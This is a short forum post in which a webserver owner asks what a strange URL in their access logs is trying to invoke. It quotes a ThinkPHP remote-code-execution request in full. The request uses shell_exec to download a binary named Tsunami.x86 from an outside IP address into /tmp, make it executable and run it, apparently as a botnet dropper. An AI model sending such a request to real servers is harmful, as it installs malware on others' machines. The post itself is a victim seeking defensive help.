Requesting meaning of this url string

My webserver keeps being hit by strange urls. This is one that I’m puzzling over. Can someone tell me what the tool is that its trying to invoke.

“GET /index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://185.255.25.168/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1”

I also have others for thinkphp, Oasis.x86 and UnHAnaAW.x86.
I believe hink means hop in Norwegian – don’t know if that’s relevant.

Thanks.